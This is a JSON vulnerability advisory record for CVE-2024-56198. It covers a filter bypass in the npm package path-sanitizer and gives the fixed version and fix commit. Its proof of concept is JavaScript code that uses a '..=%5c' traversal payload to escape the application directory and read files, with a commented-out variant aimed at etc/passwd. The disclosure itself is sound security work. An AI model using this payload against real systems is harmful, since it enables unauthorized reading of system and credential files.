{"id":"CVE-2024-56198","aliases":["GHSA-94p5-r7cc-3rpr"],"url":"https://o3.security/vulnerability/CVE-2024-56198","summary":"path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability","details":"### Summary\nThis is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.\n\nPayload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well. \n\n### PoC\nHere's the code to test for the filter bypass:\n\n```js\nconst sanitize = require(\"path-sanitizer\")\nconst path = require(\"path\")\nconst fs = require(\"fs\")\n\n// Real scenario:\nfunction routeHandler(myPath) {\n  // Lets just assume that the path was extracted from the request\n  // We want to read a file in the C:\\Users\\user\\Desktop\\myApp\\ directory\n  // But the user should be able to access C:\\Users\\user\\Desktop\\\n  // So we need to sanitize the path\n\n  const APP_DIR = \"/var/hacker\"\n  const sanitized = path.join(APP_DIR, sanitize(myPath))\n\n  // Now we would usally read the file\n  // But in this case we just gonna print the path\n  // console.log(sanitized)\n  return sanitized\n}\n\nfunction readFile(filePath) {\n  const absolutePath = path.resolve(filePath) // Resolve to absolute path\n\n  fs.readFile(absolutePath, \"utf8\", (err, data) => {\n    if (err) {\n      console.error(`Error reading the file: ${err.message}`)\n      return\n    }\n    console.log(`Contents of the file ${filePath} :\\n${data}`)\n  })\n}\n\ninput_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt\"\n// input_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd\"\ninput_user_payload = \"../../../../../../../../tmp/hacked.txt\"\n\nreadFile(routeHandler(input_user_bypass))\nreadFile(routeHandler(input_user_payload))\n```\n\nHere is a video POC: (this is a Loom POC, only users with the UUID of the video can see it) \n\nhttps://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d\n\n### Impact\nAny CLI tool or library using this package can be/will be vulnerable to Path traversal.\n","published":"2024-12-31T15:18:12.330Z","modified":"2026-08-12T03:51:42.621968823Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"path-sanitizer","fixedVersion":"3.1.0"}],"fix":{"url":"https://github.com/cabraviva/path-sanitizer/commit/b6d2319eac910dffdfacc8460f5b5cc5a1518ead","label":"cabraviva/path-sanitizer@b6d2319"},"references":[{"type":"WEB","url":"https://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/56xxx/CVE-2024-56198.json"},{"type":"ADVISORY","url":"https://github.com/cabraviva/path-sanitizer/security/advisories/GHSA-94p5-r7cc-3rpr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56198"},{"type":"FIX","url":"https://github.com/cabraviva/path-sanitizer/commit/b6d2319eac910dffdfacc8460f5b5cc5a1518ead"},{"type":"PACKAGE","url":"https://github.com/cabraviva/path-sanitizer"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:42.621968823Z"}}